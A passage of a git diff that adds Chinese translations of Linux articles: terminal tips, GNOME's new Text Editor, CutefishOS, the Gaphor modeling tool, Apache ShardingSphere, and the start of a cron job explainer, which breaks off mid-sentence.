[一次运行多个命令][29] 而不需要用户干预。作为 Ubuntu 用户,你可能已经在这个命令的形式中看到了它: + +``` +sudo apt update && sudo apt upgrade +``` + +在终端中,有三种不同的方法来组合命令: + +`;` | `命令 1 ; 命令 2` | 先运行命令 1,再运行命令 2 +---|---|--- +`&&` | `命令 1 && 命令 2` | 只有命令 1 成功结束才运行命令 2 +`||` | `命令 1 || 命令 2` | 只有命令 1 失败时才运行命令 2 + +### 17、停止一个正在运行的 Linux 命令 + +如果一个 Linux 命令在前台运行,也就是说,它正在显示输出,或者说你不能输入任何其他命令,你可以用 `Ctrl+C` 键停止它。 + +我以前讨论过它。它来自于 UNIX 的传统计算时代。 + +所以,下次你看到像 `top` 或 `ping` 这样的命令在持续运行,而你想恢复终端控制,只需使用这两个键:`Ctrl+C`。 + +![在 Linux 中用 Ctrl+C 停止一个正在运行的程序][30] + +### 18、清除终端 + +当我发现我的屏幕被不同类型的输出弄得太杂乱时,我会在开始其他工作之前清除终端屏幕。这只是一种习惯,但我发现它很有帮助。 + +要清除终端,请使用以下命令: + +``` +clear +``` + +你也可以使用 [终端快捷键][31] `Ctrl+L`。 + +### 19、退出终端 + +在少数情况下,我看到有人关闭终端程序来退出会话。你可以这样做,但退出终端的正确方法是使用退出命令: + +``` +exit +``` + +你也可以使用 Ubuntu 终端的键盘快捷键 `Ctrl+D`。 + +### 总结 + +即使你对终端完全陌生,你也可以在终端中做很多额外的事情。你可以: + + * [运行有趣的 Linux 命令][32] + * [在终端中浏览互联网][33] + * [在终端中玩游戏][34] + +如果你想了解更多,[看看这些 Linux 命令技巧,可以像专家一样使用终端][35]。 + +说实话,要谈的东西太多了。很难确定哪些应该被认为是绝对的基础知识,哪些应该被排除在外。例如,我想避免包括关于路径的信息,因为它需要详细的解释,但在一个地方讲得太详细可能会让人不知所措。 + +我已经过了在终端中的小东西曾经让我困惑的阶段。如果你是 Linux 终端的新手,或者你还记得你最初使用 Linux 时的挣扎,请随时提出建议对列表进行补充。我可能会根据你的意见更新这个列表。 + +如果你学到了新的东西,请在评论中提及。我想看看这篇文章是否值得一读 😁 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/basic-terminal-tips-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/ubuntu-terminal-basic-tips.png?resize=800%2C450&ssl=1 +[2]: https://itsfoss.com/linux-terminal-emulators/ +[3]: https://itsfoss.com/open-terminal-ubuntu/ +[4]: https://itsfoss.com/ubuntu-shortcuts/ +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/linux-terminal-introduction.png?resize=800%2C450&ssl=1 +[6]: https://www.youtube.com/c/itsfoss?sub_confirmation=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/understanding-prompt-ubuntu-terminal.png?resize=800%2C346&ssl=1 +[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/learning-prompt-ubuntu-terminal.png?resize=800%2C346&ssl=1 +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/directory-files-linux.png?resize=800%2C346&ssl=1 +[10]: https://linuxhandbook.com/hard-link/ +[11]: https://linuxhandbook.com/linux-directory-structure/ +[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/path-linux.webp?resize=800%2C250&ssl=1 +[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/absolute-vs-relative-path-linux.webp?resize=800%2C500&ssl=1 +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/absolute-relative-path-real-examples-800x346.png?resize=800%2C346&ssl=1 +[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/use-of-single-and-double-dot-in-Linux.png?resize=732%2C272&ssl=1 +[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/command-structure-example.png?resize=732%2C462&ssl=1 +[17]: https://itsfoss.community/ +[18]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/cat-command-help-page.png?resize=732%2C614&ssl=1 +[19]: https://itsfoss.com/linux-man-page-guide/ +[20]: https://itsfoss.com/bash-command-not-found/ +[21]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/linux-is-case-sensitive.png?resize=732%2C253&ssl=1 +[22]: https://itsfoss.com/run-shell-script-linux/ +[23]: https://linuxhandbook.com/linux-file-permissions/ +[24]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/run-bash-script.png?resize=732%2C272&ssl=1 +[25]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/tab-completion-ubuntu.png?resize=732%2C272&ssl=1 +[26]: https://itsfoss.com/copy-paste-linux-terminal/ +[27]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/dollar-symbol-at-the-beginning-of-command.png?resize=765%2C256&ssl=1 +[28]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/avoid-copying-multiple-commands.png?resize=743%2C242&ssl=1 +[29]: https://itsfoss.com/run-multiple-commands-linux/ +[30]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/stop-running-program-linux.png?resize=800%2C385&ssl=1 +[31]: https://linuxhandbook.com/linux-shortcuts/ +[32]: https://itsfoss.com/funny-linux-commands/ +[33]: https://itsfoss.com/terminal-web-browsers/ +[34]: https://itsfoss.com/best-command-line-games-linux/ +[35]: https://itsfoss.com/linux-command-tricks/ diff --git a/published/202112/20211206 GNOME has a Brand New Text Editor and it is Likely to Replace Gedit in GNOME 42.md b/published/202112/20211206 GNOME has a Brand New Text Editor and it is Likely to Replace Gedit in GNOME 42.md new file mode 100644 index 0000000000..e052c4e60a --- /dev/null +++ b/published/202112/20211206 GNOME has a Brand New Text Editor and it is Likely to Replace Gedit in GNOME 42.md @@ -0,0 +1,105 @@ +[#]: subject: "GNOME has a Brand New Text Editor and it is Likely to Replace Gedit in GNOME 42" +[#]: via: "https://news.itsfoss.com/gnome-text-editor-to-replace-gedit/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14060-1.html" + +GNOME 有了一个全新的“文本编辑器”,它会成为默认编辑器吗? +====== + +> GNOME 新的“文本编辑器”正在增加新的功能,有可能在下一个 GNOME 桌面版本中取代 Gedit。 + +![](https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/gnome-text-editor-gnome-42.jpg?w=1200&ssl=1) + +Gedit 是 GNOME 桌面环境的默认文本编辑器。它是一个受欢迎的编辑器,也是一个便捷的文本编辑器,以简单的用户界面提供了所有的基本功能。 + +但是,随着 GNOME 的发展,有了一个新的“文本编辑器”(LCTT 译注:没错,就叫“文本编辑器Text Editor”),虽然它还没有取代 Gedit。但让我们来看看它的下一个版本,在即将到来的 GNOME 42 版本中,它进行了大量改进,有可能取代 Gedit。 + +[Christian Hergert][1] 在他的 [博文][2] 和 Twitter 上分享了它的很多细节。 + +在这篇文章中,让我介绍一下 GNOME 文本编辑器的那些新改进。 + +### 偏好设置对话框卷土重来 + +作为其上一个版本中的实验的一部分,偏好设置对话框被移到了侧边栏, + +![][3] + +但是,事实证明,它并不那么方便和好看。 + +因此,偏好设置对话框又回来了(如下图所示),其目的是与其他 GNOME 应用程序的设计语言相融合,而不显得笨拙。 + +![鸣谢:Christian Hergert][4] + +在我看来,这很不错,与侧边栏的实施相比,应该用户体验更好。 + +### 改进的 “弹出式” 打开功能 + +![鸣谢:Christian Hergert][5] + +当你试图打开一个最近的文件或搜索某个东西时,会出现一个弹出式窗口来快速查找任何最近的文件,而不需要启动一个新的对话框。 + +这节省了时间,是一个不错的功能。在即将发布的“文本编辑器”中还进行了一些细微的改进,显得更苗条、更便捷。 + +换句话说,你会发现它改进了键盘导航,只需按下 `Ctrl + K`,就可以寻找你想要的文件。 + +### 引入重新着色支持 + +即将发布的 GNOME 文本编辑器可以让你轻松地应用不同的风格模式(或主题),而改变整个应用程序。 + +博文中提到了更多关于它的内容: + +> 本周最直观的工作是引入了重新着色支持。它建立在 [libadwaita][6] 之上,并使用一个 CSS 提供者来覆盖主题中的颜色。我希望在不远的将来,libadwaita 会有一个重新着色的 API,为我们提供这个功能。 + +下面是一个应用样式表时的例子: + +![鸣谢:Christian Hergert][7] + +它有一些自带的主题,而且你还可以找到更多的主题。你可以在 Christian 的博客文章中找到更多截图: + +![鸣谢:Christian Hergert][12] + +你可以看看 [博客文章中的更多内容][2],还可以发现一些其他的技术变化,和一个由 Christian 设计的 vim 仿真的复活节彩蛋。 + +### GNOME “文本编辑器”会取代 Gedit 吗? + +到现在为止,官方还没有确认这一点。然而,看一下 [Gedit 的开发活动][8](目前有 41 个 alpha 版本),在过去的几个版本中没有明显增加变化,这可能意味着新的 GNOME “文本编辑器”将在GNOME 42 中取代 Gedit。 + +事实上,正如其 [GitLab 页面][9] 中所提到的,GNOME 的新文本编辑器计划正式取代 Gedit,但它会在 GNOME 42 中发生吗?它的开发者 Christian Hergert 在他的博客中提到: + +> 随着我们为 GNOME 42 的准备工作而进行的竞赛,[文本编辑器][9] 在过去的几周里已经成型。 + +这可以被认为是一个暗示,GNOME 42 可能会包含这个新的文本编辑器。 + +不仅仅是 GNOME,[KDE 也对 Kate 进行了改造][10],增加了针对开发者的功能。你将会有很多 [开源的文本编辑器][11] 可以选择。 + +当它发布时,我们将继续关注它。你怎么看? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-text-editor-to-replace-gedit/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://twitter.com/hergertme +[2]: https://blogs.gnome.org/chergert/2021/12/03/text-editor-happenings/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/gnome-text-editor-old-preferences.png?w=870&ssl=1 +[4]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/gnome-text-editor-preferences.png?resize=1355%2C2048&ssl=1 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/gnome-text-editor-popover.jpg?w=1200&ssl=1 +[6]: https://gnome.pages.gitlab.gnome.org/libadwaita/doc/main/ +[7]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/gnome-text-editor-style-scheme.png?w=1200&ssl=1 +[8]: https://gitlab.gnome.org/GNOME/gedit +[9]: https://gitlab.gnome.org/GNOME/gnome-text-editor +[10]: https://news.itsfoss.com/kate/ +[11]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ +[12]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/gnome-text-editor-style-scheme-1.png?w=1200&ssl=1 \ No newline at end of file diff --git a/published/202112/20211206 Upcoming CutefishOS Could Topple Deepin as the Most Beautiful Linux Distro.md b/published/202112/20211206 Upcoming CutefishOS Could Topple Deepin as the Most Beautiful Linux Distro.md new file mode 100644 index 0000000000..1381486e62 --- /dev/null +++ b/published/202112/20211206 Upcoming CutefishOS Could Topple Deepin as the Most Beautiful Linux Distro.md @@ -0,0 +1,122 @@ +[#]: subject: "Upcoming CutefishOS Could Topple Deepin as the Most Beautiful Linux Distro" +[#]: via: "https://news.itsfoss.com/cutefishos-intro/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14058-1.html" + +即将推出的 CutefishOS 可能取代深度成为最漂亮的 Linux 发行版 +====== + +> CutefishOS 能否以其美丽而简单的方式提供良好的 Linux 桌面体验? + +![](https://img.linux.net.cn/data/attachment/album/202112/07/104017u0wx6s8mfgl4xlhu.png) + +CutefishOS 是一个相对较新的 Linux 发行版,捆绑了它自己的桌面环境(即 CutefishDE)。 + +它还不是一个稳定的版本,尚处在测试阶段。 + +然而,随着其最新的测试版(v0.6)的发布,它似乎正在成为现有 Linux 发行版的一个有前途的替代方案,专注于简单和美丽。 + +在这里,我将在你自己尝试之前强调一些关于它的事情。 + +### CutefishOS 概览 + +![][1] + +请注意,它仍然处于早期开发阶段。因此,如果你打算稍后尝试,你应该对有错误和故障有心理准备。 + +CutefishOS 基于 [Debian 11 “Bullseye”][2],因此,它应该适用于各种用户,包括 Linux 新用户。 + +值得注意的是,CutefishOS 并不是是专门针对资深用户的。因此,如果你正在寻找一个能提供精细控制和马上就可以定制的发行版,这并不适合你。 + +重要的是,CutefishOS 的开发者希望呈现一个令人耳目一新、无需费心的 Linux 发行版。 + +当然,如果你想要一个融合了可靠性和独特桌面体验的 Linux,我们会推荐你安装 [elementary OS][3]、[Pop!_OS][4]、[Zorin OS][5] 或 [深度操作系统][6]。 + +而且,CutefishOS 计划成为同一类选择中的产品之一,这是一件好事。 + +我们有大量的 Linux 发行版,但并非所有的发行版都在现代 UI 和可用性方面处于同一水平。因此,如果 CutefishOS 能够达成其目标,这可能会成为 Linux 桌面用户的一个有用选择。 + +### 它有什么不同? + +**用户体验不同。** + +是的,与 Windows 和 macOS 相比,Linux 发行版一直试图成为最好的桌面体验之一。 + +![][7] + +而且,CutefishOS 试图通过引入受到 macOS 启发的桌面体验(它不是第一个这样做的发行版)来加入这场比赛,但方式不同。 + +它的桌面环境(DE)是使用 Qt 和基本的 KDE 框架构建的,以此搭建出来了一个好看且资源高效的 DE。 + +CutefishOS 还提供了一个开箱即用的全局菜单功能。换句话说,你的应用程序的每一个选项都可以直接从状态栏中找到,这使得你的应用程序窗口看起来很干净,并有可能节省一些屏幕空间。 + +![][8] + +虽然你也有可能在 GNOME 或其他桌面环境上实现这种功能,但你得投入一些时间来使其工作。 + +默认情况下,它呈现出细微的动画效果,但你可以选择使用魔法灯效果,这与 [Zorin OS 16 引入的 Jelly 模式][9] 相似。CutefishOS 的应用程序,如计算器、屏幕截图、文件和视频播放器,都是为该桌面环境量身定做的,给你提供了统一的体验。 + +你还可以选择深色/浅色模式的主题,同时可以禁用系统效果,以尽量减少对性能的影响(如果你使用的是旧电脑)。 + +说到定制,你可以定制 Dock 的位置,将其转换为一个完整的 Dockbar,并选择在暗色模式下调暗墙纸。我想说的是,这些基本的定制选项,不会破坏你的体验,但可以让你调整一些东西。 + +你还可以在状态栏中找到切换开关(类似于 iOS 或其他手机)来启用/禁用 Wi-Fi / 蓝牙和暗色模式。 + +![][10] + +至于功能,它目前已经提供了基本的功能,如文件管理器的拖放支持、电源管理、锁屏中的媒体控制,以及其他一些功能。 + +考虑到他们的目标是一个简单和易于使用的发行版,你不应该期望太多。 + +![][11] + +### 要不要试试 CutefishOS ? + +我测试了 0.6 测试版,它大部分工作正常,直到我启动了预装的 Chromium 浏览器,整个显示都出现了问题。 + +这可能只是我在我的虚拟机上的问题。所以,如果你有兴趣尝试,我建议在虚拟机或测试机上测试一下,而不是想把它作为日常驱动使用。 + +- [CutefishOS][12] + +不知何故,CutefishOS 很像 [JingOS][13],这是一个为 Linux 平板电脑 [JingPad][14] 开发的新发行版。但是他们并不是同一个开发商,尽管 CutefishOS 的网站提到 JingOS 是朋友。 + +它可能是 “又一个漂亮的发行版” 吗?只有时间才能证明。 + +它从一开始就看起来很有不错,如果开发者有能力提供一个有竞争力的桌面体验,我们或许可以在未来几年看到它作为 [最漂亮的 Linux 发行版之一][15] 冒出来。 + +毕竟,我们都想真正看到 “Linux 桌面之年”,对吗?让我们看看是什么发行版为我们做到了这一点! + +你对 CutefishOS 有什么看法?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/cutefishos-intro/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/cutefish-os.png?w=1355&ssl=1 +[2]: https://news.itsfoss.com/debian-11-feature/ +[3]: https://news.itsfoss.com/elementary-os-6-release/ +[4]: https://pop.system76.com +[5]: https://news.itsfoss.com/zorin-os-16-release/ +[6]: https://news.itsfoss.com/deepin-linux-20-2-2-release/ +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/cutefish-os-appearance.png?w=950&ssl=1 +[8]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/cutefish-os-global-menu.png?w=823&ssl=1 +[9]: https://news.itsfoss.com/zorin-os-16-features/ +[10]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/system-tray-toggles.png?w=465&ssl=1 +[11]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/cutefish-os-about.png?w=999&ssl=1 +[12]: https://en.cutefishos.com +[13]: https://en.jingos.com/ +[14]: https://itsfoss.com/jingpad-a1-review/ +[15]: https://itsfoss.com/beautiful-linux-distributions/ diff --git a/published/202112/20211207 Gaphor- Open Source Graphical Modeling Tool.md b/published/202112/20211207 Gaphor- Open Source Graphical Modeling Tool.md new file mode 100644 index 0000000000..a04208e9a7 --- /dev/null +++ b/published/202112/20211207 Gaphor- Open Source Graphical Modeling Tool.md @@ -0,0 +1,93 @@ +[#]: subject: "Gaphor: Open Source Graphical Modeling Tool" +[#]: via: "https://itsfoss.com/gaphor-modeling-tool/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14079-1.html" + +Gaphor:开源的图形化建模工具 +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/13/231534fobo72taxam7f2ma.jpg) + +Gaphor 是一个自由开源的建模应用,支持各种建模语言,如 UML、[SysML][1]、RAAML 和 C4。 + +不知道“建模语言modeling language”这个词?基本上,它是一组可以用来创建设计和构造结构的指令。它可以是文字的,也可以是图形的。 + +图形化的更容易看,也更容易弄清楚项目的各个组成部分是如何相互关联的。 + +你见过流程图或顺序图吗?那些也是一种最简单形式的图形建模。 + +![Sequence diagram example][2] + +有各种建模语言,它们被用于软件开发、系统工程、物理学、项目管理等方面。 + +### 用于 UML、SysML 等的 Gaphor + +[Gaphor][3] 使用 UML、SysML 和 RAAML OMG 标准。它还包括对 C4 模型的支持,用于软件架构的可视化。 + +它不仅仅是一个 [绘图工具][4]。它实现了一个完全兼容的 UML 2 数据模型。你可以用 Gaphor 创建高度复杂的模型。 + +![][5] + +用 Python 编写的 Gaphor 在 Apache 2 许可证下是完全开源的。你可以在 [其 GitHub 仓库][6] 找到它的所有源代码。它是一个跨平台的工具,可以安装在 Linux、Windows 和 macOS 上。 + +你可以以 PDF、PNG、SVG 和 XML 格式导出你的图表。你还可以插入一个代码生成器。 + +Gaphor 网站提到它有深色模式,但我在下载的 AppImage 版本中没有看到任何选项可以启用它。 + +### 在 Linux 上安装 Gaphor + +![Gaphor user interface][7] + +Arch 用户可以在 AUR 中找到 Gaphor。对于其他发行版,你可以选择 [AppImage][8] 和 Flatpak。 + +你可以从其 [下载页面][9] 下载 AppImage。 + +如果你想使用 Flatpak 版本,请先添加 Flathub 仓库: + +``` +flatpak remote-add --user --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo +``` + +然后再安装它: + +``` +flatpak install --user flathub org.gaphor.Gaphor +``` + +由于 Gaphor 本质上是一个 Python 应用,你也可以 [使用 Pip][10] 安装它。 + +``` +pip install gaphor +``` + +当我还是一名软件工程师工作时,我使用 UML 和序列图。在过去的几年里,我没有使用它。看看 Gaphor,我认为如果你必须为你的项目创建 UML 和其他图表,它是一个相当不错的应用。 + +欢迎试一试,并在评论中分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/gaphor-modeling-tool/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://sysml.org/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/sequence-diagram-example-800x364.png?resize=800%2C364&ssl=1 +[3]: https://gaphor.org/ +[4]: https://itsfoss.com/open-source-paint-apps/ +[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/gaphor-uml-screenshot.jpg?resize=800%2C570&ssl=1 +[6]: https://github.com/gaphor +[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/gaphor-example-800x445.png?resize=800%2C445&ssl=1 +[8]: https://itsfoss.com/use-appimage-linux/ +[9]: https://gaphor.org/download.html#linux +[10]: https://itsfoss.com/install-pip-ubuntu/ diff --git a/published/202112/20211207 Learn more about distributed databases with ShardingSphere.md b/published/202112/20211207 Learn more about distributed databases with ShardingSphere.md new file mode 100644 index 0000000000..955be134ae --- /dev/null +++ b/published/202112/20211207 Learn more about distributed databases with ShardingSphere.md @@ -0,0 +1,95 @@ +[#]: subject: "Learn more about distributed databases with ShardingSphere" +[#]: via: "https://opensource.com/article/21/12/apache-shardingsphere" +[#]: author: "Trista Pan https://opensource.com/users/trista-pan" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14095-1.html" + +ShardingSphere 分布式数据库简介 +====== + +> Apache ShardingSphere 是一个开源的分布式数据库,它还有一个用户和开发人员需要的生态系统,为之提供了定制和云原生的体验。 + +![](https://img.linux.net.cn/data/attachment/album/202112/19/093406msdyogai9rzo2rvo.jpg) + +Apache ShardingSphere 是一个开源的分布式数据库,它还有一个用户和开发人员需要的生态系统,为之提供了定制和云原生的体验。在加入 Apache 基金会的三年里,ShardingSphere 核心团队与社区一起努力工作,创建了一个开源的、强大的、分布式的数据库和一个支持性生态系统。 + +ShardingSphere 并不完全符合业界通常的简单分布式数据库中间件解决方案的模式。ShardingSphere 重新创建了分布式可插拔系统,使实际的用户实施方案得以蓬勃发展,并为社区和数据库行业贡献有价值的解决方案。 + +ShardingSphere 的目标是 _Database Plus_ 概念。 + +### Database Plus + +Database Plus 的出发点是在零散的数据库基本服务之上建立一个标准层和生态系统层。统一的、标准化的数据库使用规范为上层应用提供了保障,尽可能的减少了企业因底层数据库碎片化而面临的挑战。为了连接数据库和应用,它使用了流量和数据的渲染和解析。它为用户提供了增强的核心功能,如分布式数据库、数据安全、数据库网关和压力测试。 + +ShardingSphere 为 Database Plus 使用了可插拔的内核架构。这意味着模块化,这为用户提供了灵活性。它有几个不同的层: + + * **基础层:** 提供各种访问终端和访问形式,满足用户在不同场景下的需求。 + * **插件层:** 通过实现可扩展性提供基础设施支持。 + * **功能层:** 提供各种满足用户需求的功能插件,使用户在选择和组合插件时具有高度的灵活性。 + * **产品层:** 这是终端用户看到的层。这为他们提供了面向行业和特定场景的产品。换句话说,它为用户提供了适合他们所做的任何工作的工具。 + +![Database Plus platform][2] + +(Trista Pan, [CC BY-SA 4.0][3]) + +### 用 DistSQL 进行标准化的集群管理 + +Apache ShardingSphere 采用独特的 SQL 方言 DistSQL(分布式 SQL)来连接 ShardingSphere 生态系统的所有元素。作为 ShardingSphere 分布式数据库生态系统的标准交互语言,DistSQL 允许用户使用一个 SQL 命令来创建、修改或删除分布式数据库表或对其进行加密或解密。DistSQL 还支持分布式调度管理。 + +![DistSQL][4] + +(Trista Pan, [CC BY-SA 4.0][3]) + +### 多访问终端 + +ShardingSphere JDBC 和 ShardingSphere Proxy 经过两年的打磨和测试,目前已经可以投入生产。许多社区用户提供了相关的生产社区案例。 + +多亏共享核心架构,以及不同的 ShardingSphere 适配器,如果用户的生产环境需要,可以选择混合适配器部署(如下图所示)。 + +![Hybrid deployment][5] + +(Trista Pan, [CC BY-SA 4.0][3]) + +### 分布式治理 + +在 ShardingSphere 生态系统中,计算和存储是分开的,因此具备对数据库进行分布式治理的能力,所以你可以维护许多存储节点、计算节点,实施断路器,并确保高可用性。 + +![Distributed governance][6] + +(Trista Pan, [CC BY-SA 4.0][3]) + +### 使用 Grafana 监控 + +ShardingSphere 也有状态指标来监控你的基础设施。代理动态加载机制为你提供了指标和跟踪指标,方便您将 APM 系统与 Grafana 仪表板集成。 + +![Grafana dashboard][7] + +(Trista Pan, [CC BY-SA 4.0][3]) + +### 分布式社区的分布式数据库 + +社区正在继续优化 ShardingSphere,并整合新的想法和行业场景。社区构建了它,而开发的主要动力之一是用户反馈。这是开源的一个特点,但也是这个团队的实践方法。ShardingSphere 社区的核心团队成员很乐意指导任何对开源感兴趣的人,并为有兴趣帮助开发的学生提供实践问题。团队也希望有新的朋友或贡献者加入社区,促进思想的开放交流,创造一个真正的全球开发者社区。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/apache-shardingsphere + +作者:[Trista Pan][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/trista-pan +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bus_cloud_database.png?itok=lhhU42fg (Cloud and databsae incons) +[2]: https://opensource.com/sites/default/files/uploads/database-plus-platform.png (Database Plus platform) +[3]: tps://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/sites/default/files/uploads/distsql.png (DistSQL) +[5]: https://opensource.com/sites/default/files/uploads/hybrid-deployment.png (Hybrid deployment) +[6]: https://opensource.com/sites/default/files/uploads/distributed-governance.png (Distributed governance) +[7]: https://opensource.com/sites/default/files/uploads/grafana-dashboard.png (Grafana dashboard) diff --git a/published/202112/20211208 Linux Jargon Buster- What is a Cron Job in Linux.md b/published/202112/20211208 Linux Jargon Buster- What is a Cron Job in Linux.md new file mode 100644 index 0000000000..9ae72b16d2 --- /dev/null +++ b/published/202112/20211208 Linux Jargon Buster- What is a Cron Job in Linux.md @@ -0,0 +1,168 @@ +[#]: subject: "Linux Jargon Buster: What is a Cron Job in Linux?" +[#]: via: "https://itsfoss.com/cron-job/" +[#]: author: "Hunter Wittenborn https://itsfoss.com/author/hunter/" +[#]: collector: "lujun9972" +[#]: translator: "jrglinux" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14085-1.html" + +Linux 黑话解释:什么是定时任务 +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/16/112554pna46aemuh84ta3m.jpg) + +在本期的《Linux 黑话解释》系列文章中,你将了解到 Linux 中的定时任务cron job功能。你将通过学习编辑 `crontab` 文件来创建定时任务。 + +### 何为定时任务 + +`cron` 是一个用于按计划运行短小且快速的命令的实用命令行工具。该工具是一个方便、经典的系统管理工具,通过和其他工具结合使用可以自动运行各式各样的任务。比如,有些人通过把 `rsync` 和 `cron` 结合使用,在特定的时间自动创建每日备份和每周备份。也有些人使用 `cron` 来分析服务器日志,并且结合邮件系统功能,在日志检测到错误时自动发送告警邮件。 + +`cron` 就如同“瑞士军刀”一样,可以多场景多样化使用。尽可能发挥你的想象,去挖掘它的功能。 + +其实 `cron` 的使用很容易上手,只需要几秒钟。不过在我们开始上手之前,先来讨论下几个经常容易混淆的概念。 + +### cron、定时任务、crontab + +有三个术语比较容易混淆:`cron`、定时任务和 `crontab`,让我们来看看它们的含义: + +| 术语 | 含义 | +| ------------ | ------------------------------------------------------------ | +| `cron` | 这是安装在系统上的实际执行定时任务的 [守护进程][1]。 | +| 定时任务 | “任务”是指一段启动并运行的程序。`cron` 可以按照约定的时间计划运行各种任务,这样的任务通常叫做“定时任务”。 | +| [crontab][2] | 这是一个文件,用于定义定时任务。一个 `crontab` 文件可以通过表格形式(每一行就是一个定时任务)定义多个定时任务。 | + +来看一个简单例子:创建一个定时任务,每小时向 `crontabl_log.txt` 文件打印 `Linux is cool!`。 + +``` +0 * * * * echo "Linux is Cool!" >> ~/crontab_log.txt +``` + +是不是这么个简单定时任务的例子都让你感到惊恐,这是因为你需要懂得如何去读懂一个定时任务的属性。 + +我将在后文中讲述这个基础理论知识。 + +### 上手 cron + +我们通过另一个例子来看看 `cron` 如何工作。 + +为了创建定时任务(或者说 `cron` 将要执行的命令任务),你只需要运行: + +``` +crontab -e +``` + +这将会打开一个文件,用于编辑定时任务: + +![Crontab default view][3] + +其中,所有以 `#` 开头的行都是注释,用于指导你如何使用 `cron`,如果觉得没用可以删除它们。 + +我们将创建如下任务,作为我们的第一个定时任务: + +``` +* * * * * touch ~/crontab_test +``` + +让我快速看看该任务将会做什么: + +定时任务都是以 “分钟 小时 天 月 周 命令” 形式呈现: + +* 分钟:指该任务在哪一分钟会被执行。所以,该值为 `0` 则代表在每个小时开始时运行,`5` 则代表在每个小时的第 5 分钟会运行。 +* 小时:指该任务在一天中的哪个小时会被执行,取值范围为 